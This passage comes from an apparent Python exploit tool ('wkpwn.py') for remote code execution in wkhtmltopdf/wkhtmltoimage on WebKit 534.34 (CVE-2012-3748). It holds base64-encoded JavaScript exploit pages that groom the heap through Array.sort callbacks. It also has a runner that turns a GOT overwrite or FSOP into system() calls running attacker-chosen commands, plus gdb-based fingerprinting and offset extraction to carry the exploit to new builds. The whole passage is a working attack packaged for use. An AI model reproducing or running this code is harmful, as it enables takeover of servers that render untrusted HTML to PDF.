gaWYoeSE9PWtlZXBlciYmeSE9PTB4NDE0MTAwMDApVj15OwogICAgICBpZihWIT09bnVsbCYmdHlwZW9mIFY9PT0ibnVtYmVyIil7dmFyIGhoPWQydShWKVsxXT4+PjA7IHZhciBmPWZhbHNlOyBmb3IodmFyIG09MDttPGNhcC5sZW5ndGg7bSsrKWlmKGNhcFttXT09PWhoKWY9dHJ1ZTsgaWYoIWYpY2FwLnB1c2goaGgpO319cmV0dXJuIDA7fSk7CiAgcmV0dXJuIGNhcDsKfQpmdW5jdGlvbiBmYWtlb2JqKHhsbyx4aGkpewogIHZhciB2dz1bXSwgY2FwPVtdOyB2YXIgcHJvYmU9e206MX07CiAgdmFyIGExPVtdOyBhMVswXT1wcm9iZTsgYTFbMV09MHg0MTQxMDAwMDsgZm9yKHZhciBpPTI7aTwzMztpKyspIGExW2ldPXByb2JlOyBfZ2MucHVzaChhMSx2dyxjYXApOwogIHZhciBkaWQ9ZmFsc2U7CiAgYTEuc29ydChmdW5jdGlvbih4LHkpeyBpZighZGlkJiYoeD09PTB4NDE0MTAwMDB8fHk9PT0weDQxNDEwMDAwKSl7ZGlkPXRydWU7CiAgICBmb3IodmFyIGc9MDtnPDQwOTY7ZysrKSBhMS5wdXNoKGcpOwogICAgZm9yKHZhciBxPTA7cTwyMDAwO3ErKyl7dmFyIHY9bmV3IFVpbnQzMkFycmF5KDEwMCk7IGZvcih2YXIgdD0xMDt0PDEwMDt0Kz0yKXt2W3RdPXhsbzt2W3QrMV09eGhpO30gdncucHVzaCh2KTt9fQogICAgZWxzZSBpZihkaWQpeyBpZih4IT09cHJvYmUmJnghPT0weDQxNDEwMDAwJiZ0eXBlb2YgeD09PSJvYmplY3QiJiZ4IT09bnVsbCljYXAucHVzaCh4KTsKICAgICAgZWxzZSBpZih5IT09cHJvYmUmJnkhPT0weDQxNDEwMDAwJiZ0eXBlb2YgeT09PSJvYmplY3QiJiZ5IT09bnVsbCljYXAucHVzaCh5KTt9IHJldHVybiAwO30pOwogIHJldHVybiBjYXAubGVuZ3RoP2NhcFswXTpudWxsOwp9CnZhciBUVj1uZXcgVWludDMyQXJyYXkoMHgxNDApOyBmb3IodmFyIGk9MDtpPDB4MTQwO2krKykgVFZbaV09MDsgX2djLnB1c2goVFYpOyAgIC8vIDB4NTAwLWJ5dGUgYmFja2luZywgemVyb2VkCnZhciBSRVM9bmV3IFVpbnQzMkFycmF5KDB4MjApOyBSRVNbMF09MHhGMDBEMDAwMDsgUkVTWzNdPTA7IF9nYy5wdXNoKFJFUyk7CnZhciBBdHY9YWRkcm9mKFRWKSwgQWhpPWhpMzIoQXR2KTsKdmFyIE0wPUF0disweDI0LCBvbG89bG8zMihNMCksIG9oaT1oaTMyKE0wKSwgZGlkPWZhbHNlLCBkb25lPWZhbHNlOwp2YXIgYTE9W107Zm9yKHZhciBpPTA7aTwyODtpKyspYTFbaV09VFY7YTFbMjhdPTB4NDE0MTAwMDA7YTFbMjldPVRWO2ExWzMwXT1UVjthMVszMV09VFY7YTFbMzJdPVRWO19nYy5wdXNoKGExKTsKYTEuc29ydChmdW5jdGlvbih4LHkpewogIGlmKCFkaWQmJih4PT09MHg0MTQxMDAwMHx8eT09PTB4NDE0MTAwMDApKXtkaWQ9dHJ1ZTtmb3IodmFyIGc9MDtnPDQwOTY7ZysrKWExLnB1c2goZyk7CiAgICB2YXIgcz1bXTtmb3IodmFyIHE9MDtxPDE1MDA7cSsrKXMucHVzaChta21hcE4ob2xvLG9oaSw2KSk7X2djLnB1c2gocyk7fQogIGVsc2UgaWYoZGlkKXsKICAgIHZhciBWPW51bGw7IGlmKHghPT1UViYmeCE9PTB4NDE0MTAwMDAmJnR5cGVvZiB4PT09Im51bWJlciIpVj14OyBlbHNlIGlmKHkhPT1UViYmeSE9PTB4NDE0MTAwMDAmJnR5cGVvZiB5PT09Im51bWJlciIpVj15OwogICAgaWYoViE9PW51bGwgJiYgIWRvbmUpeyBkb25lPXRydWU7CiAgICAgIHZhciBpbXBsPUFoaSoweDEwMDAwMDAwMCsoKGQydShWKVsxXSsweDEwMDAwKT4+PjApOwogICAgICBSRVNbOF09TChpbXBsKTtSRVNbOV09SChpbXBsKTtSRVNbMTZdPTE7CiAgICAgIHZhciBycj1yZWFkMnJhdyhpbXBsLTB4MWMsIFRWLCAzKTsgUkVTWzIzXT1yci5sZW5ndGg7CiAgICAgICAgZm9yKHZhciByaT0wO3JpPHJyLmxlbmd0aCYmcmk8NjtyaSsrKVJFU1syNCtyaV09cnJbcmldOwogICAgICAgIFJFU1szXT0weEYwMEQwMDAxOyBSRVNbMTZdPTk7IHZhciBjcj1yZWFkMnJhdygweDQxNDE0MTAwLCBUViwgMSk7CiAgICAgIH0KICB9CiAgcmV0dXJuIDA7fSk7CmRvY3VtZW50LndyaXRlKCJ4Iik7Cjwvc2NyaXB0PjwvYm9keT48L2h0bWw+Cg=="
EMBEDDED_UULAYOUT_B64 = "PGh0bWw+PGJvZHk+PHNjcmlwdD4KdmFyIF9nYz1bXTsKZnVuY3Rpb24gbG8zMihhKXtyZXR1cm4gKGElMHgxMDAwMDAwMDApPj4+MDt9IGZ1bmN0aW9uIGhpMzIoYSl7cmV0dXJuIE1hdGguZmxvb3IoYS8weDEwMDAwMDAwMCk+Pj4wO30KZnVuY3Rpb24gYWRkcm9mKHQpewogIHZhciB2dz1bXTsgdmFyIGExPVtdOyBmb3IodmFyIGk9MDtpPDMyO2krKykgYTFbaV09dDsgYTFbMzJdPTB4NDE0MTAwMDA7IF9nYy5wdXNoKGExLHZ3KTsgdmFyIGRpZD1mYWxzZTsKICBhMS5zb3J0KGZ1bmN0aW9uKHgseSl7IGlmKCFkaWQmJih4PT09MHg0MTQxMDAwMHx8eT09PTB4NDE0MTAwMDApKXtkaWQ9dHJ1ZTsgZm9yKHZhciBnPTA7Zzw0MDk2O2crKylhMS5wdXNoKGcpOwogICAgZm9yKHZhciBxPTA7cTwyMDAwO3ErKyl7dmFyIHY9bmV3IFVpbnQzMkFycmF5KDEwMCk7dlswXT0weDdhYmMwMDAwK3E7dncucHVzaCh2KTt9fSByZXR1cm4gMDt9KTsKICB2YXIgYz17fSxiPW51bGwsYm49MDsgZm9yKHZhciBpPTA7aTx2dy5sZW5ndGg7aSsrKXt2YXIgdj12d1tpXTsKICAgIGZvcih2YXIgaz0wO2srMTx2Lmxlbmd0aDtrKyspe3ZhciBsbz12W2tdPj4+MCxoaT12W2srMV0+Pj4wOwogICAgICBpZihoaT4wJiZoaTwweDEwMDAwJiZsbz4wJiYobG8+Pj4xNikhPT0weDdhYmMpe3ZhciBrZXk9aGkrIjoiK2xvO2Nba2V5XT0oY1trZXldfHwwKSsxOwogICAgICAgIGlmKGNba2V5XT5ibil7Ym49Y1trZXldO2I9W2xvLGhpXTt9fX19IHJldHVybiBiPyhiWzFdKjB4MTAwMDAwMDAwK2JbMF0pOjA7Cn0KZnVuY3Rpb24gbWttYXBOKFRsbyxUaGksTil7dmFyIGE9bmV3IEFycmF5KDE4Myk7CiAgYVswXT1UbG8mMHhmZmZmO2FbMV09KFRsbz4+PjE2KSYweGZmZmY7YVsyXT1UaGkmMHhmZmZmO2FbM109KFRoaT4+PjE2KSYweGZmZmY7CiAgYVs0XT1OJjB4ZmZmZjthWzVdPTA7YVs2XT0wO2FbN109MDthWzhdPU4mMHhmZmZmO2FbOV09MDthWzEwXT0wO2FbMTFdPTA7Zm9yKHZhciBpPTEyO2k8MTgzO2krKylhW2ldPTA7CiAgcmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUuYXBwbHkobnVsbCxhKTt9CnZhciB1dT1uZXcgVWludDMyQXJyYXkoMHg0MCk7IGZvcih2YXIgaT0wO2k8MHg0MDtpKyspIHV1W2ldPTB4MjIyMjAwMDAraTsgX2djLnB1c2godXUpOwp2YXIgQT1hZGRyb2YodXUpOwp2YXIgTUFSSz1uZXcgVWludDMyQXJyYXkoMHg0MCk7IE1BUktbMF09MHhGMDBEMDAwMDsgTUFSS1sxXT1sbzMyKEEpOyBNQVJLWzJdPWhpMzIoQSk7IE1BUktbM109MHhGMDBEMDAwMTsgX2djLnB1c2goTUFSSyk7CnZhciBvbG89bG8zMihBLTIpLCBvaGk9aGkzMihBLTIpLCBkaWQ9ZmFsc2U7CnZhciBhMT1bXTtmb3IodmFyIGk9MDtpPDI4O2krKylhMVtpXT11dTthMVsyOF09MHg0MTQxMDAwMDthMVsyOV09dXU7YTFbMzBdPXV1O2ExWzMxXT11dTthMVszMl09dXU7X2djLnB1c2goYTEpOwphMS5zb3J0KGZ1bmN0aW9uKHgseSl7CiAgaWYoIWRpZCYmKHg9PT0weDQxNDEwMDAwfHx5PT09MHg0MTQxMDAwMCkpe2RpZD10cnVlO2Zvcih2YXIgZz0wO2c8NDA5NjtnKyspYTEucHVzaChnKTsKICAgIHZhciBzPVtdO2Zvcih2YXIgcT0wO3E8MTUwMDtxKyspcy5wdXNoKG1rbWFwTihvbG8sb2hpLDYpKTtfZ2MucHVzaChzKTt9CiAgcmV0dXJuIDA7fSk7CmRvY3VtZW50LndyaXRlKCJkb25lIik7Cjwvc2NyaXB0PjwvYm9keT48L2h0bWw+Cg=="

# Extra BUILD rows learned via --extract/--port. Each entry is a full JS `else if(...){...}`
# clause; injected into the exploit's build table at runtime. Paste --extract's build row here.
EXTRA_ROWS = [
]

# Extra GLIBC rows learned via --extract (for FSOP / useGOT=0 targets on a libc we don't
# ship yet). Each entry is a full JS `if(po===0x..){ go=..; so=..; ... }` clause; injected
# into the exploit's glibc table at runtime. Paste --extract's glibc row here.
EXTRA_GLIBC = [
]

# fpwk (build) + po (glibc) fingerprints already baked into the embedded page (see TARGETS.md).
KNOWN     = {0xa90, 0xba8, 0xfa8, 0x228, 0x7e8, 0xa68, 0x968, 0x1a8, 0x9e8,0xec8,0x328}
KNOWN_PO  = {0xc50, 0x0b0, 0xd10, 0xc0, 0xb70, 0x8a0,0x7b0}
CMD_TOKEN = "id>/tmp/pwn 2>&1"
DN        = subprocess.DEVNULL

# Pre-built test targets on the dev box (interactive-menu items 5-10).
# (label, mode, docker-image-or-local-path, binary, exploitation-technique)
PRESETS = [
    ("upstream static 0.12.6.1   pdf",   "docker", "wkhtml-native",                "wkhtmltopdf",   "PIE, GOT overwrite"),
    ("upstream static 0.12.6.1   image", "docker", "wkhtml-native",                "wkhtmltoimage", "PIE, GOT overwrite"),
    ("CentOS 7 RPM 0.12.6        pdf",   "docker", "al2wk",                        "wkhtmltopdf",   "non-PIE, FSOP"),
    ("Amazon Linux 2 RPM 0.12.6  pdf",   "docker", "aml2wk",                       "wkhtmltopdf",   "non-PIE, FSOP"),
    ("Ubuntu jammy 0.12.6.1      pdf",   "local",  "/usr/local/bin/wkhtmltopdf",   "wkhtmltopdf",   "Full-RELRO PIE, FSOP"),
    ("Ubuntu jammy 0.12.6.1      image", "local",  "/usr/local/bin/wkhtmltoimage", "wkhtmltoimage", "Full-RELRO PIE, FSOP"),
]

_WORK = None
def work():
    global _WORK
    if _WORK is None:
        _WORK = tempfile.mkdtemp(prefix="wkpwn.")
    return _WORK

def _html():
    s = base64.b64decode(EMBEDDED_HTML_B64).decode()
    rows = [r.strip() for r in EXTRA_ROWS if r.strip()]
    if rows:
        anchor = s.index("for(var fi=0;fi<rr.length")
        close  = s.index("\n      }", anchor)     # closing brace of the build-table loop
        s = s[:close] + "".join("\n        " + r for r in rows) + s[close:]
    grows = [r.strip() for r in EXTRA_GLIBC if r.strip()]
    if grows:
        eol = s.index("\n", s.index("if(po===0xc0){"))  # after the last shipped glibc row
        s = s[:eol] + "".join("\n        " + r for r in grows) + s[eol:]
    return s

def _probe():
    return base64.b64decode(EMBEDDED_PROBE_B64).decode()

def _uulayout():
    return base64.b64decode(EMBEDDED_UULAYOUT_B64).decode()

# ============================ runner ========================================
def build_run_html(cmd, mode):
    # You pass ONLY the command; its output is auto-captured to /tmp/pwn and printed.
    full = cmd if "/tmp/pwn" in cmd else cmd + ">/tmp/pwn 2>&1"
    # FSOP fires system() with a <=32-byte string. If longer, stage the real command in a
    # short script on the target and inject `sh <script>` instead -> length stops mattering.
    if len(full) > 32:
        if mode == "docker":
            open(os.path.join(work(), "stage.sh"), "w").write(full + "\n")
            full = "sh /work/stage.sh"
        else:
            open("/tmp/.wkstage", "w").write(full + "\n")
            full = "sh /tmp/.wkstage"
    esc = full.replace("\\", "\\\\").replace('"', '\\"')
    s = _html()
    if CMD_TOKEN not in s:
        sys.exit("!! embedded page is missing the '%s' command token" % CMD_TOKEN)
    p = os.path.join(work(), "run.html")
    open(p, "w").write(s.replace(CMD_TOKEN, esc))
    return p

def run_once(mode, target, binary, run_path):
    if mode == "local":
        try: os.remove("/tmp/pwn")
        except OSError: pass
        subprocess.run([target, run_path, "/tmp/o"], stdout=DN, stderr=DN)
        try: return open("/tmp/pwn").read()
        except OSError: return ""
    sh = ("rm -f /tmp/pwn; %s /work/%s /tmp/o >/dev/null 2>&1 || true; cat /tmp/pwn 2>/dev/null"
          % (binary, os.path.basename(run_path)))
    r = subprocess.run(["docker", "run", "--rm", "-v", "%s:/work" % work(),
                        "--entrypoint", "/bin/sh", target, "-c", sh],
                       stdout=subprocess.PIPE, stderr=DN, text=True)
    return r.stdout

def attack(mode, target, binary, cmd, count):
    label = ("local " if mode == "local" else "") + target
    print("== target: %s   binary: %s   cmd: '%s'   attempts: %d ==" % (label, binary, cmd, count))
    run_path = build_run_html(cmd, mode)
    for _ in range(count):
        out = run_once(mode, target, binary, run_path)
        if out.strip():
            print("-- SUCCESS (output of: %s) --------------------------------" % cmd)
            print(out.rstrip()); print("-" * 60); return True
    print("-- no output after %d attempts. Fingerprinting the build... --" % count)
    fingerprint(mode, target, binary)
    return False

# ============================ fingerprint ===================================
def scan_core(path):
    try: d = open(path, "rb").read()
    except OSError: return None, None
    j = d.find(struct.pack("<I", 0xF00D0000))
    while j >= 0:
        g = lambda k: struct.unpack("<I", d[j + k*4: j + k*4 + 4])[0]
        impl = g(8) | g(9) << 32
        if 0x100000000 <= impl <= 0x800000000000 and g(16) == 9 and 0 < g(23) <= 6:
            return impl, [g(24 + i) for i in range(g(23))]
        j = d.find(struct.pack("<I", 0xF00D0000), j + 1)
    return None, None

def fingerprint(mode, target, binary, verdict="diag"):
    probe_path = os.path.join(work(), "probe.html")
    open(probe_path, "w").write(_probe())
    if mode == "local":
        core, gs = os.path.join(work(), "diag.core"), os.path.join(work(), "fp.gdb")
        open(gs, "w").write("set pagination off\nset disable-randomization on\n"
                            "run %s /tmp/o\ngenerate-core-file %s\nquit\n" % (probe_path, core))
        subprocess.run(["gdb", "-q", "-batch", "-x", gs, target], stdout=DN, stderr=DN)
    else:
        core = os.path.join(work(), "diag.core")
        open(os.path.join(work(), "fp.gdb"), "w").write(
            "set pagination off\nset disable-randomization on\n"
            "run /work/probe.html /tmp/o\ngenerate-core-file /work/diag.core\nquit\n")
        sh = ("gdb -q -batch -x /work/fp.gdb $(command -v %s || echo /usr/local/bin/%s) >/dev/null 2>&1"
              % (binary, binary))
        subprocess.run(["docker", "run", "--rm", "--cap-add=SYS_PTRACE", "--security-opt",
                        "seccomp=unconfined", "-v", "%s:/work" % work(), "--entrypoint", "/bin/sh",
                        target, "-c", sh], stdout=DN, stderr=DN)
    impl, vals = scan_core(core)
    if impl is None:
        print("  couldn't leak - target may not be WebKit 534.34, JS is disabled, or gdb is missing.")
        return
    print("  leaked impl @ %#x" % impl)
    hit = False
    for v in vals:
        pg = v & 0xfff; known = pg in KNOWN or pg in _extra_fpwk(); hit = hit or known
        print("  fingerprint fpwk = %#05x   (raw 0x%08x)%s"
              % (pg, v, "   (KNOWN - already supported)" if known else "   <- NEW"))
    if hit and verdict == "fp":
        print("  => fpwk is KNOWN (already in the build table).")
    elif hit:
        print("  => fpwk KNOWN but 0 hits -> glibc/RELRO/finisher issue, not the fingerprint.")
    else:
        print("  => NEW build. Leak its full row from scratch (no reference needed):\n"
              "       python3 wkpwn.py --extract %s%s\n"
              "     then paste the printed BUILD row into EXTRA_ROWS at the top of this script\n"
              "     (and the GLIBC row into EXTRA_GLIBC, if it prints one)." %
              (target, "" if mode == "local" else " -b " + binary))

def _extra_fpwk():
    out = set()
    for r in EXTRA_ROWS:
        m = re.search(r"_c===0x([0-9a-f]+)", r)
        if m: out.add(int(m.group(1), 16))
    return out

def _extra_po():
    out = set()
    for r in EXTRA_GLIBC:
        m = re.search(r"po===0x([0-9a-f]+)", r)
        if m: out.add(int(m.group(1), 16))
    return out

# ============================ porter (portwk) ===============================
DEF_REF_BIN = "wkpdf.bin"
DEF_REF = dict(IMPLVT=0x294dfa8, WRAPVT=0x2a67950, STVT=0x2972d60,
               CINFO=0x2a67ae0, STGOT=0x2af0858, GEGOT=0x2af1260)

def _relocs(binpath):
    out = subprocess.run(["readelf", "-Wr", binpath], capture_output=True, text=True).stdout
    rel, jmp = {}, {}
    for ln in out.splitlines():
        p = ln.split()
        if len(p) >= 4 and p[2].startswith("R_X86_64_RELATIVE"):
            try: rel[int(p[0], 16)] = int(p[3], 16)
            except ValueError: pass
        elif len(p) >= 5 and p[2].startswith("R_X86_64_JUMP_SLO"):
            m = re.match(r"([A-Za-z_][A-Za-z0-9_]*)", p[4])
            if m: jmp[m.group(1)] = int(p[0], 16)
    return rel, jmp

def _run(rel, off, n):
    out, o = [], off
    while o in rel and len(out) < n: out.append(rel[o]); o += 8
    return out
def _sig(a): return tuple(a[i+1] - a[i] for i in range(len(a) - 1))

def _match(ref_rel, idx, ref_off, depth=7):
    pr = _run(ref_rel, ref_off, depth)
    if len(pr) < depth: return None, "ref run short (missing/wrong --ref-bin?)"
    ps = _sig(pr); hits = [o for o, s in idx.items() if s == ps]
    if len(hits) == 1: return hits[0], "unique"
    if len(hits) > 1:  return None, "ambiguous(%d)" % len(hits)
    return None, "no-match (ref is a different build; use THIS build's own pdf as --ref-bin)"

def port(target, ref_bin=None, ref_off=None):
    REF = dict(DEF_REF)
    if ref_off:
        for kv in ref_off.split(","):
            k, v = kv.split("="); REF[k.strip()] = int(v, 16)
    ref_rel, _ = _relocs(ref_bin or DEF_REF_BIN)
    tgt_rel, tgt_jmp = _relocs(target)
    idx = {o: _sig(_run(tgt_rel, o, 7)) for o in tgt_rel if len(_run(tgt_rel, o, 7)) == 7}
    res = {}
    for nm in ("IMPLVT", "WRAPVT", "STVT"):
        off, why = _match(ref_rel, idx, REF[nm]); res[nm] = off
        print("  // %-7s %-9s -> %s" % (nm, why, hex(off) if off else "FAIL"), file=sys.stderr)
    if res.get("WRAPVT"): res["CINFO"] = res["WRAPVT"] + (REF["CINFO"] - REF["WRAPVT"])
    res["STGOT"] = tgt_jmp.get("strtol"); res["GEGOT"] = tgt_jmp.get("getenv")
    if None in (res.get("IMPLVT"), res.get("WRAPVT"), res.get("STVT"), res.get("STGOT"), res.get("GEGOT")):
        print("  incomplete:", {k: (hex(v) if v else None) for k, v in res.items()})
        print("  (GOT resolved; vtables need a same-build --ref-bin or a one-time leak.)")
        return None
    fpwk = res["IMPLVT"] & 0xfff
    row = ("else if(_c===0x%x){ IMPLVT=0x%x;WRAPVT=0x%x;STVT=0x%x;CINFO=0x%x;STGOT=0x%x;GEGOT=0x%x;"
           "PIE=1;useGOT=0;fpwk=_c;break; } // %s"
           % (fpwk, res["IMPLVT"], res["WRAPVT"], res["STVT"], res["CINFO"],
              res["STGOT"], res["GEGOT"], os.path.basename(target)))
    print("\n  paste this into EXTRA_ROWS (top of this script), as a quoted string:\n")
    print('    "%s",\n' % row)
    return row

# ==================== extractor (from-scratch, no reference) =================
# Runs the embedded uulayout probe under gdb, cores, and reads the four vtable
# offsets straight out of the core (IMPLVT/WRAPVT/STVT/CINFO) -- then STGOT/GEGOT
# + PIE/RELRO from the ELF. Works on ANY 534.34 build with no reference binary.
def _scan_layout_core(path):
    try: d = open(path, "rb").read()
    except OSError: return None
    ph = struct.unpack("<Q", d[0x20:0x28])[0]
    pn = struct.unpack("<H", d[0x38:0x3a])[0]
    pe = struct.unpack("<H", d[0x36:0x38])[0]
    L = []
    for i in range(pn):
        o = ph + i * pe
        if struct.unpack("<I", d[o:o+4])[0] == 1:                 # PT_LOAD
            off = struct.unpack("<Q", d[o+8:o+16])[0]
            va  = struct.unpack("<Q", d[o+16:o+24])[0]
            fz  = struct.unpack("<Q", d[o+32:o+40])[0]
            if fz: L.append((va, off, fz))
    def u(va):
        for va0, o, s in L:
            if va0 <= va < va0 + s: return struct.unpack("<Q", d[o+(va-va0):o+(va-va0)+8])[0]
        return 0
    def fv(f):
        for va0, o, s in L:
            if o <= f < o + s: return va0 + (f - o)
        return 0
    j = d.find(struct.pack("<I", 0xF00D0000)); i = -1
    while j >= 0:
        if struct.unpack("<I", d[j+12:j+16])[0] == 0xF00D0001: i = j; break
        j = d.find(struct.pack("<I", 0xF00D0000), j + 1)
    if i < 0: return None
    A = struct.unpack("<I", d[i+4:i+8])[0] | struct.unpack("<I", d[i+8:i+12])[0] << 32
    vt, st, impl = u(A), u(A+8), u(A+0x30)
    if not (vt and st and impl): return None
    E = set(); j = d.find(b"\x7fELF\x02\x01\x01")
    while j >= 0:
        v = fv(j)
        if v: E.add(v)
        j = d.find(b"\x7fELF\x02\x01\x01", j + 1)
    cands = [e for e in E if e <= vt and vt - e < 0x4000000]
    if not cands: return None
    mb = min(cands)
    return dict(mb=mb, IMPLVT=u(impl)-mb, WRAPVT=vt-mb, STVT=u(st)-mb, CINFO=u(st+0x40)-mb)

def _elf_meta(binpath):
    h   = subprocess.run(["readelf", "-h", binpath], capture_output=True, text=True).stdout
    dyn = subprocess.run(["readelf", "-d", binpath], capture_output=True, text=True).stdout
    pie  = 1 if re.search(r"Type:\s+DYN", h) else 0
    full = ("BIND_NOW" in dyn) or ("NOW" in dyn and "FLAGS_1" in dyn)
    _, jmp = _relocs(binpath)
    base = 0 if pie else 0x400000
    st, ge = jmp.get("strtol"), jmp.get("getenv")
    return pie, full, (st - base if st else None), (ge - base if ge else None)

def _libc_of(binpath):
    try: out = subprocess.run(["ldd", binpath], capture_output=True, text=True).stdout
    except Exception: out = ""
    m = re.search(r"(/\S*/libc[.\-][^\s]*\.so[^\s]*)", out)
    if m and os.path.exists(m.group(1)): return m.group(1)
    for p in ("/lib64/libc.so.6", "/lib/x86_64-linux-gnu/libc.so.6",
              "/usr/lib/x86_64-linux-gnu/libc.so.6", "/lib/libc.so.6"):
        if os.path.exists(p): return p
    return None

def _glibc_row(libc):
    out = subprocess.run(["readelf", "-sW", libc], capture_output=True, text=True).stdout
    want = dict.fromkeys(("getenv", "system", "_IO_2_1_stderr_", "_IO_wfile_jumps", "_IO_flush_all"))
    for ln in out.splitlines():
        p = ln.split()
        if len(p) < 8: continue
        nm = p[7].split("@")[0]
        if nm in want and want[nm] is None:
            try: want[nm] = int(p[1], 16)
            except ValueError: pass
    if None in want.values(): return None, None, [k for k, v in want.items() if v is None]
    po  = want["getenv"] & 0xfff
    row = ("if(po===0x%x){ go=0x%x; so=0x%x; stream_o=0x%x; wfj_o=0x%x; flush_o=0x%x; }" %
           (po, want["getenv"], want["system"], want["_IO_2_1_stderr_"],
            want["_IO_wfile_jumps"], want["_IO_flush_all"]))
    return po, row, []

def _gdb_core_local(target, probe_path, core):
    gs = os.path.join(work(), "ex.gdb")
    open(gs, "w").write("set pagination off\nset confirm off\nset disable-randomization on\n"
                        "run %s /tmp/o\ngenerate-core-file %s\nquit\n" % (probe_path, core))
    subprocess.run(["gdb", "-q", "-batch", "-x", gs, target], stdout=DN, stderr=DN)

def _gdb_core_docker(target, binary, core):
    open(os.path.join(work(), "ex.gdb"), "w").write(
        "set pagination off\nset confirm off\nset disable-randomization on\n"
        "run /work/uulayout.html /tmp/o\ngenerate-core-file /work/ex.core\nquit\n")
    # also copy the binary (for readelf) and its libc (for the glibc row) out to /work
    b = "$(command -v %s || echo /usr/local/bin/%s)" % (binary, binary)
    sh = ("B=%s; cp $B /work/ex.bin 2>/dev/null; "
          "cp $(ldd $B 2>/dev/null | awk '/libc[.-].*\\.so/{print $3; exit}') /work/ex.libc 2>/dev/null; "
          "gdb -q -batch -x /work/ex.gdb $B >/dev/null 2>&1" % b)
    subprocess.run(["docker", "run", "--rm", "--cap-add=SYS_PTRACE", "--security-opt",
                    "seccomp=unconfined", "-v", "%s:/work" % work(), "--entrypoint", "/bin/sh",
                    target, "-c", sh], stdout=DN, stderr=DN)

def extract(mode, target, binary):
    print("== extracting offsets: %s%s (%s) ==" % ("local " if mode == "local" else "", target, binary))
    open(os.path.join(work(), "uulayout.html"), "w").write(_uulayout())
    core = os.path.join(work(), "ex.core")
    if mode == "local":
        _gdb_core_local(target, os.path.join(work(), "uulayout.html"), core); binpath = target
    else:
        _gdb_core_docker(target, binary, core); binpath = os.path.join(work(), "ex.bin")
    r = _scan_layout_core(core)
    if not r:
        print("  no usable core (probe is heap-fragile -- just re-run --extract; also confirm gdb is present)."); return
    if not os.path.exists(binpath):
        print("  cored ok but couldn't read the binary for GOT/PIE (STGOT/GEGOT missing)."); binpath = None
    pie, full, stgot, gegot = (_elf_meta(binpath) if binpath else (1, True, None, None))
    fpwk = r["IMPLVT"] & 0xfff
    useg = 1 if (pie and not full) else 0
    print("  module base %#x   PIE=%d   RELRO=%s   fpwk=%#05x"
          % (r["mb"], pie, "FULL" if full else "partial/none", fpwk))
    if None in (stgot, gegot):
        print("  IMPLVT=%#x WRAPVT=%#x STVT=%#x CINFO=%#x  (STGOT/GEGOT unresolved -- need the binary)"
              % (r["IMPLVT"], r["WRAPVT"], r["STVT"], r["CINFO"])); return
    row = ("else if(_c===0x%x){ IMPLVT=0x%x;WRAPVT=0x%x;STVT=0x%x;CINFO=0x%x;STGOT=0x%x;GEGOT=0x%x;"
           "PIE=%d;useGOT=%d;fpwk=_c;break; } // %s" %
           (fpwk, r["IMPLVT"], r["WRAPVT"], r["STVT"], r["CINFO"], stgot, gegot, pie, useg,
            (binary if mode == "docker" else os.path.basename(target))))
    print("\n  [1] BUILD row -> paste into EXTRA_ROWS (top of this script), as a quoted string:\n")
    print('    "%s",' % row)

    # glibc row (needed by the FSOP finisher when useGOT=0; harmless to add otherwise)
    libc = (os.path.join(work(), "ex.libc") if mode == "docker" else None)
    if not (libc and os.path.exists(libc)):
        libc = _libc_of(binpath) if binpath else None
    if libc and os.path.exists(libc):
        po, grow, missing = _glibc_row(libc)
        if grow:
            known = po in KNOWN_PO or po in _extra_po()
            print("\n  glibc: %s  po=%#05x  %s" %
                  (os.path.basename(libc), po, "(already supported)" if known else "<- NEW"))
            if not known:
                print("\n  [2] GLIBC row -> paste into EXTRA_GLIBC (top of this script), as a quoted string:\n")
                print('    "%s",' % grow)
        else:
            print("\n  glibc: couldn't read %s from libc (%s). If useGOT=0 and it won't pop, send me the libc."
                  % (", ".join(missing), os.path.basename(libc)))
    elif useg == 0:
        print("\n  glibc: couldn't locate the target's libc for the FSOP row; if it won't pop, send me libc.so.6.")
    print("\n  Then re-run against the target.")
    return row

# ============================ ui ============================================
def list_presets():
    print("ACTIONS (work on any host):")
    print("  wkpwn.py --local <path> [-c CMD]   exploit a local wkhtmltopdf/wkhtmltoimage binary")
    print("  wkpwn.py <docker-image> [-b BIN]   exploit a binary inside a docker image")
    print("  wkpwn.py --fp <target>            identify a build (no exploit)")
    print("  wkpwn.py --extract <target>       leak a new build's rows from scratch (adds support)")
    print("  wkpwn.py --emit [path]            write the exploit page to disk")
    print("\nPRE-BUILT TEST TARGETS on this dev box (interactive-menu items 5-10):")
    for i, (lbl, mode, tgt, _b, tech) in enumerate(PRESETS, 5):
        src = tgt if mode == "local" else "docker " + tgt
        print("  %2d) %-34s  %-22s  via %s" % (i, lbl, "[" + tech + "]", src))
    print("\nAny 0.12.x 'with patched qt' build (WebKit 534.34) works. Distro apt wkhtmltopdf\n"
          "(Qt5WebKit 602.1) is detected and handled by a separate chain automatically.")

def prompt(msg, default=""):
    try: return input(msg).strip() or default
    except EOFError: return default

def _ask_target(verb):
    t = prompt("  %s which target? (local binary path OR docker image): " % verb)
    if not t: sys.exit("  (nothing given)")
    if os.path.exists(t): return "local", t, os.path.basename(t)
    return "docker", t, prompt("  binary inside the image [wkhtmltopdf]: ", "wkhtmltopdf")

def _ask_cmd_count():
    cmd = prompt("\n  command to run [id]: ", "id")
    try: n = int(prompt("  attempts [5]: ", "5"))
    except ValueError: n = 5
    return cmd, n

def interactive():
    print("\n  wkhtmltox RCE  ·  WebKit 534.34 / CVE-2012-3748\n")
    print("  WHAT DO YOU WANT TO DO?")
    print("    1) exploit a LOCAL binary     (e.g. /usr/local/bin/wkhtmltopdf)")
    print("    2) exploit a DOCKER image")
    print("    3) fingerprint a target       (identify the build, no exploit)")
    print("    4) extract a NEW build's row  (add support for an unknown build)")
    print("\n  ...or a pre-built test target on this dev box:")
    lab = [p[0] for p in PRESETS]
    for i in range(3):
        left  = "%2d) %s" % (i + 5, lab[i])
        right = "%2d) %s" % (i + 8, lab[i + 3]) if i + 3 < len(lab) else ""
        print("    %-38s %s" % (left, right))
    choice = prompt("\n  > ")
    if choice == "1":
        p = prompt("  local binary path: ")
        if not p: sys.exit("  (nothing given)")
        cmd, n = _ask_cmd_count(); print(); attack("local", p, os.path.basename(p), cmd, n); return
    if choice == "2":
        img = prompt("  docker image: ")
        if not img: sys.exit("  (nothing given)")
        binary = prompt("  binary inside the image [wkhtmltopdf]: ", "wkhtmltopdf")
        cmd, n = _ask_cmd_count(); print(); attack("docker", img, binary, cmd, n); return
    if choice == "3":
        mode, target, binary = _ask_target("fingerprint")
        print("\n== fingerprinting: %s%s (%s) ==" % ("local " if mode == "local" else "", target, binary))
